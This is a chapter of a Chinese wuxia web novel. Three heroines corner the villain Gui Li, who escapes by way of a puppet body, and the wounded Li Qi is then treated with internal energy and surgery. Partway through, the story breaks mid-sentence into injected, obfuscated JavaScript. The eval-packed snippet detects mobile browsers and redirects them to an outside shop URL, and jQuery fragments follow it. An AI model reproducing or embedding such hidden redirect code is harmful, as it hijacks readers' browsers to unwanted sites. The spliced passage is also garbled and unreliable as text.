86.虚无卷·第一章

作品:《并骑弈飘飖

    1


    “鬼蠡,你加害在我们与我儿女两代人身上的迫害,是时候偿还了。”


    李棋心中又是一阵惊诧,她虽没听过鬼蠡这个人,但鬼姓可不多见,多半就是鬼旸爷爷一脉的。


    难怪他先前轻蔑鬼旸爷爷和师父,要么是意见相悖产生了不可消除的隔阂,要么就是真的比他们两人都厉害。


    鬼蠡和她师父一样,一头浓密的发全白,还留有长长的白胡须,但他的皮肤紧致、面容不见半分疲态,就像二十五六的青年人一般,当然,实际年纪肯定不止这么点。


    听了纪由这句,鬼蠡冷笑一声,“呵,一个筋脉寸断、全身溃烂的残废,纵使你有通天的际遇,不过短短十年,也不会是我的对手。”


    女声带着愤怒蔑视的笑意从身后传来,“是吗,那加上我们呢?”


    “娘亲!”李棋听出是纪敏的声音,更是大喜过望,自然而然叫出了声。


    鬼蠡警惕望去,当下就眉头紧锁,只见他的后面左右两边各站了一个女子,右边女子一袭干练红衣,赫然是纪敏,左边人则一身青衣,正是江沁月。


    三人呈三角包围之势,来了个瓮中捉鳖。


    见人都来了,趁着鬼蠡背对她的时机,纪由不再犹豫,如捕猎的凶禽一般,以极快的速度,提剑朝他的后脑勺刺去。


    鬼蠡大惊,在即将被刺中的前一刻,脚下一旋,将李棋推到剑尖。


    一瞬间,李棋冷汗直流,都以为自己必死无疑了,但纪由反应更快,刀尖上扬,几乎擦着李棋的鼻尖、眉心、额头的中缝划过。


    剑虽上扬了,纪由却没能立刻停下,那么一瞬,两人的距离几乎为零,透过面具上唯一的两个孔洞,李棋看到她的一双眸子,似乎真的和自己很像。


    一声“娘……”脱口而出。


    纪由如同她的剑一般,往上空扬去,眼见她要翻转退离开,她的右手突然伸出,死死抓住了李棋的肩膀。


    鬼蠡以手做刀,带着深厚的内力朝那处砍去,若被他正中,不止纪由的手,李棋的肩膀都会被震碎。


    千钧一发之际,一支发簪朝他的手射来,另一边,也传来一阵厉风。


    是江沁月,她手拿一支大笔,只见她跳到半空中,手中大笔朝鬼蠡一挥,若干毫毛瞬间拉长,进可与齐飞的万箭匹敌,退还是一张大网。


    这对鬼蠡来说似乎是必死的局面。


    但鬼蠡要是有那么容易被抓到,他就不是鬼蠡了。


    只见鬼蠡呈手刀的手猛地一弯曲,蛇般灵活的划过李棋的脖颈,将其死死抓住,似乎打定主意要用李棋的脖颈去挡那根金簪。


    李棋还没恢复,还处于内力全无、身体绵软无力的状态,但她真的不想死。


    刹那间,李棋猛地往后撞去,纪由抓在她肩膀的手一松,腰身下倾,一条长腿飞快踢出,擦着李棋的脸堪堪将那支簪子踢飞。


    簪子扎在不远处的屋瓦上,瓦片和木屑横飞,蹦出一个足够一人通过的大洞。


    再说李棋拼尽全力的那个头槌,虽让鬼蠡及时伸手挡住了,却给了江沁月机会,她趁机射出几根微不可查的小针,全部射中了鬼蠡的后背。


    鬼蠡痛叫一声,眼见就要被江沁月的大网网住,他一脚猛地一踩,屋顶碎裂,带着李棋坠入下方屋里。


    纪敏三人上前来,短暂交流一眼,纪敏对江沁月说了句‘你走上面’,就和纪由先后跳入其中。


    江沁月没有停留,按照纪敏说的,跟着动静,在屋顶上一路紧追。


    这里的一切都远不如大嬴来得宏伟壮观,房屋也更加窄小。


    脚下是一间书房,鬼蠡似乎也没有和她们纠缠的意思,抓着李棋毫不犹豫,一路横冲直撞、穿墙而过,很快就来到了一个小院落中。


    他正欲施展轻功带着李棋逃去,就见江沁月已经站在不远处候着他了。


    这时,纪由和纪敏也追了过来。


    院落太小,最多一丈长半丈宽,还种了一棵小树,只是练武都不太伸展得开。


    鬼蠡停下脚步,回头对纪敏纪由邪肆一笑,而后便直挺挺站立着,顷刻间,只见他眼神一变,仿佛有什么从他体内抽离了一般。


    尽收眼底的纪由纪敏对视一眼,只觉不妙。


    果然,下一刻,就见鬼蠡不复之前嚣张姿态,惊慌又畏惧掐着李棋的脖颈,哆哆嗦嗦威胁道:“要么放我走,要么我和她一起死!”


    纪由一步跃起,一脚将他踢出去撞到墙上。


    砖砌的墙体轰然倒塌,鬼蠡也口吐鲜血,躺在其中挣扎着,怎么也站不起来。


    江沁月连忙从高处跳下来,纪敏也抱起李棋过去,两人脸色都难看得不行。


    纪由一脚踩住和鬼蠡如出一辙、神态却又截然不同的脸,“真正的鬼蠡在哪?”


    脚下的‘鬼蠡’惊慌异常,似乎已经被吓破了胆,只一个劲哭着喊‘不要杀我,我什么都不知道’。


    江沁月上前在他身上一通搜查,很快,她从‘鬼蠡’心口处取下一只已经死亡的小虫。


    她沉重起身对两人道,“鬼蠡的傀儡术更进一步了。”


    功亏一篑,纪由双手攥拳,脚下一用力,白的、红的溅了一圈,到处都是。


    纵使已经杀过很多人了,但这一瞬,还是给了李棋很大的冲击力,她人都看傻眼了。


    纪由施展轻功就要飞出去,但被江沁月及时拉住,“别冲动。”


    纪敏也顾不得安慰李棋,急声道:“姐姐,来不及了!”


    “这么久的时间,他早都跑远了,我们这次,杀不了他了。”纪敏也不甘,但没有办法。


    纪由没有说话,但从她颤抖的背影足可见她的愤怒与不甘。


    一时沉默,三人都被阴云笼罩着。


    李棋也终于反应过来,她轻柔出声,“娘亲,”


    一声‘娘亲’,纪敏和纪由都朝她看了过来。


    江沁月虽心有不甘,但也担忧道:“先看看孩子吧。”


    纪由快步上前,抓起李棋的手腕一摸,虽然她带着面具,但李棋还是发现了她瞬间的冷肃。


    李棋心中忐忑不已,一股沉重悲伤的情绪压得她想哭,“我的武功是不是……”


    纪敏也急,正要腾出手去摸一摸李棋的脉,就听纪由说:“武功没有影响,但绡绡不久前应当是吃了不少药,”


    李棋点头如捣蒜,“鬼蠡把我带走之前,元菱来灌了我一大把药。”


    纪由点头,“这就说得通了,其中毒药解药都有,此刻正在绡绡体内争斗,得尽快用内力将它们逼出来才行。”


    闻言,纪敏和江沁月才松了口气。


    纪敏当即就要找个地方开始,只听江沁月谨慎说:“这里不安全,先回皇宫去。”


    见娘亲满脸焦急,李棋反而大咧咧笑道:“娘亲,我暂时除了没有力气,也没有其他不适,我们先和其他人汇合了再说吧。”


    她又想到绿意,顿时紧张不已,“绿意还在原翔府上,也不知道她有没有做傻事……”


    “没有。”纪由说,“她现在很安全。”


    李棋松了口气,甜甜喊道,“谢谢娘亲。”


    纪由呼吸一滞,欲言又止看了纪敏一眼,也不知道纪敏回应了什么样的眼神或表情,等李棋疑惑望去时,就听纪敏催促说:“先回去吧。”


    说罢,她抱着李棋走在前面。


    李棋心中有很多疑惑,但见纪敏面容冷峻严肃,她终究没当下就开口询问。


    *


    三人很快带着李棋回到皇宫,太阳已经冒出了小半个身躯,一夜惊险,虽结果不如意,但暂时是安全了。


    老皇帝哪里还有什么皇帝样,一副任人宰割的猪狗模样,瑟瑟发抖跪着。


    她们才落地,就有好几个熟面孔迎上来,绿意、汪元菱、幻樱、幻竹,一半熟面孔都是金曲楼的人,另一边看衣着应该都是浩然山


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970389|188740||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    庄的人。


    绿意激动得直流泪,一见李棋苍白的面容,和浑身的血迹,顿时又多了愧疚,“小姐,都怪我……”


    “怎么会怪你,要怪也是怪他们。”李棋只恨自己没力气给她擦泪。


    绿意却瞬间跪了下去,一边磕头一边说,“大楼主,都是奴婢害了小姐,求您罚我吧!”


    “绿意!”


    纪敏叹了口气,转身将怀中的李棋交给纪由,上前将绿意扶了起来。


    “绿意,你虽不是我的亲传弟子,我却也从未拿你、拿你们当过奴仆看待。”


    “…那天,你和青怜也都做得很好,你们已经尽力了……”纪敏犹豫说罢,又长叹了一口气。


    “大楼主……”绿意握着纪敏的手更是哭得不能自已,不愿起来。


    李棋也连忙道:“绿意,你快起来,你身上的毒解了吗?”


    她又看向汪元菱,“元菱,你找来的药还有吗?”


    不提这茬还好,一提起,汪元菱心虚得都不敢看李棋。


    幻竹道:“已经给绿意吃过了,明日就能恢复自如。”


    幻樱关心问:“元菱小姐找来的药里有几种是毒药,她说情急之下都给你吃了,你现在怎么样啊?疼不疼?”


    李棋才摇了摇头,呆滞的纪由反应过来,抱着她大步朝正向的宫殿走去。


    几人正要追上去,就听江沁月拦住她们,喊她们让人将宫殿四面都看守起来。


    纪敏也强硬将绿意拉起来,交由幻樱照顾。


    “这里就交给你了。”纪敏对江沁月说。


    江沁月点点头,应了声好,又催她快去。


    宫殿内也是一片狼藉,其中还有不少尸体血迹。


    纪由将李棋放在简略版的龙椅上,挨个将尸体都扔了出去,纪敏进来见了,也帮着一起。


    两人很快将尸体都扔到门外,并关上大门,来到李棋面前站定。


    她们虽穿着不同的衣物,但身形却几乎没有差别,只是比起纪敏美艳的脸,纪由则是冰冷简单的黑铁面具,面具之下,脖颈之间,还依稀可见一些烫伤后留下的疤痕。


    李棋的视线留在那些疤痕之上,一时间,别说怨她,心疼她都来不及,“娘亲,你这些年……”


    纪由的身形又是一僵。


    纪敏上前坐到李棋身边,李棋也喊了声,“娘亲”,纪敏摸摸她的脸,“嗯,先把你体内的毒都排出来再说。”


    “会不会反噬?”李棋担忧道,“江家主之前为邹杲排毒就遭到了反噬。”


    纪敏手上不停,笑着回她,“不会,这些毒加起来都远远比不过‘无忧’,若你的内力没被压制,你自己都能排出来。”


    闻言,李棋才松了口气。


    但下一刻,她就疼得倒吸了一口凉气。


    在她咬紧自己的下唇的前一瞬,纪由来到她另一边,将手塞到她嘴里让她咬着。


    已经快要愈合的伤口经过冰寒脏污的水一泡,腐烂一片,难怪后面李棋都感觉不到疼了。


    纪敏和纪由都心疼不已。


    纪由道:“需要把全部腐肉挖出来才行,这需要不少时间,先给绡绡把毒排出来吧。”


    纪敏一听也是。


    “小七,你忍着点,我先帮你把毒排出来。”


    李棋才点头应了声好,两人就将她移动换了一面,纪由收回被她含着的手,纪敏当即出手。


    纪敏暖而热的内力进入体内的瞬间,李棋只觉浑身舒畅,但下一刻,就感觉各处都疼。


    “噗哇——”


    一大口黑血喷吐而出,李棋都没反应过来,就眼前一黑,晕了过去。


    纪敏及时将她接住,看向纪由说,“姐姐,动手吧。”


    纪由点点头,掏出匕首,放在火上炙烤,同时对她说:“注意着,别让绡绡咬了舌头。”


    纪敏点头,纪由手中烧红的刀也指向了李棋。


    ……